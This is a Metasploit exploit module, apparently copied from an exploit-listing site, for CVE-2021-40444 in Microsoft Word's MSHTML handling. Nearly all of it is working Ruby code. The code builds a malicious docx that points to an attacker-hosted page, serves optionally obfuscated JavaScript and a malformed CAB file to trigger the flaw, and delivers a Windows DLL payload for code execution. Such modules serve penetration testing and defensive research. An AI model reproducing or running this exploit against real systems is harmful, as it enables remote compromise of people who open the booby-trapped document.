Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/FILEFORMAT/WORD_MSHTML_RCE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
        'Description' => %q{
          This module creates a malicious docx file that when opened in Word on a vulnerable Windows
          system will lead to code execution. This vulnerability exists because an attacker can
          craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
          the browser rendering engine.
        },
        'References' => [
          ['CVE', '2021-40444'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
          ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
          ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
          ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
          ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
        ],
        'Author' => [
          'lockedbyte ', # Vulnerability discovery.
          'klezVirus ', # References and PoC.
          'thesunRider', # Official Metasploit module.
          'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
        ],
        'DisclosureDate' => '2021-09-23',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'FILENAME' => 'msf.docx'
        },
        'Targets' => [
          [
            'Hosted', {}
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
    register_advanced_options([
      OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
    ])
  end

  def bin_to_hex(bstr)
    return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
  end

  def cab_checksum(data, seed = "\x00\x00\x00\x00")
    checksum = seed

    bytes = ''
    data.chars.each_slice(4).map(&:join).each do |dword|
      if dword.length == 4
        checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      else
        bytes = dword
      end
    end
    checksum = checksum.reverse

    case (data.length % 4)
    when 3
      dword = "\x00#{bytes}"
    when 2
      dword = "\x00\x00#{bytes}"
    when 1
      dword = "\x00\x00\x00#{bytes}"
    else
      dword = "\x00\x00\x00\x00"
    end

    checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
  end

  # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  def create_cab(data)
    cab_cfdata = ''
    filename = "../#{File.basename(@my_resources.first)}.inf"
    block_size = 32768
    struct_cffile = 0xd
    struct_cfheader = 0x30

    block_counter = 0
    data.chars.each_slice(block_size).map(&:join).each do |block|
      block_counter += 1

      seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
      csum = cab_checksum(block, seed)

      vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
      cab_cfdata << csum                     # uint32 {4} - Checksum
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
      cab_cfdata << block
    end

    cab_size = [
      struct_cfheader +
        struct_cffile +
        filename.length +
        cab_cfdata.length
    ].pack('L<')

    # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
    cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
    cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
    cab_header << cab_size # uint32 {4} - Archive Length
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)

    cab_header << "\x2C\x00\x00\x00"         # uint32 {4} - Offset to the first CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
    cab_header << "\x03"                     # byte   {1} - Minor Version (3)
    cab_header << "\x01"                     # byte   {1} - Major Version (1)
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Folders
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Files
    cab_header << "\x00\x00"                 # uint16 {2} - Flags

    cab_header << "\xD2\x04"                 # uint16 {2} - Cabinet Set ID Number
    cab_header << "\x00\x00"                 # uint16 {2} - Sequential Number of this Cabinet file in a Set

    # CFFOLDER
    cab_header << [                          # uint32 {4} - Offset to the first CFDATA in this Folder
      struct_cfheader +
      struct_cffile +
      filename.length
    ].pack('L<')
    cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
    cab_header << "\x00\x00"                 # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)

    # increase file size to trigger vulnerability
    cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
      data.length + 1073741824
    ].pack('L<')

    # set current date and time in the format of cab file
    date_time = Time.new
    date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
    time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')

    # CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
    cab_header << "\x00\x00"                 # uint16 {2} - Folder ID (starts at 0)
    cab_header << date                       # uint16 {2} - File Date (\x5A\x53)
    cab_header << time                       # uint16 {2} - File Time (\xC3\x5C)
    cab_header << "\x20\x00"                 # uint16 {2} - File Attributes
    cab_header << filename                   # byte   {X} - Filename (ASCII)
    cab_header << "\x00"                     # byte   {1} - null Filename Terminator

    cab_stream = cab_header

    # CFDATA
    cab_stream << cab_cfdata
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
    inf = "#{File.basename(@my_resources.first)}.inf"

    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
    js_content = ::File.binread(file_path)

    js_content.gsub!('REPLACE_INF', inf)
    js_content.gsub!('REPLACE_URI', uri)
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += js_content.to_s
    html += '</script></body></html>'
    html
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/document.xml'
        entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str[0, 1] == '/'
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_cab = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'application/octet-stream',
      'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
    }

    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      if request.raw_uri.to_s.end_with? '.cab'
        send_response(cli, '', header_cab)
      else
        send_response(cli, '', header_html)
      end
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.cab'
      print_status('Sending CAB Payload')

      send_response(cli, create_cab(@dll_payload), header_cab)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

  def primer
    print_status('CVE-2021-40444: Generate a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')
    if datastore['SRVHOST'] == '0.0.0.0'
      datastore['SRVHOST'] = Rex::Socket.source_address
    end

    template_path = get_template_path
    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @dll_payload = Msf::Util::EXE.to_win64pe_dll(
      framework,
      payload.encoded,
      {
        arch: payload.arch.first,
        mixed_mode: true,
        platform: 'win'
      }
    )
  end
end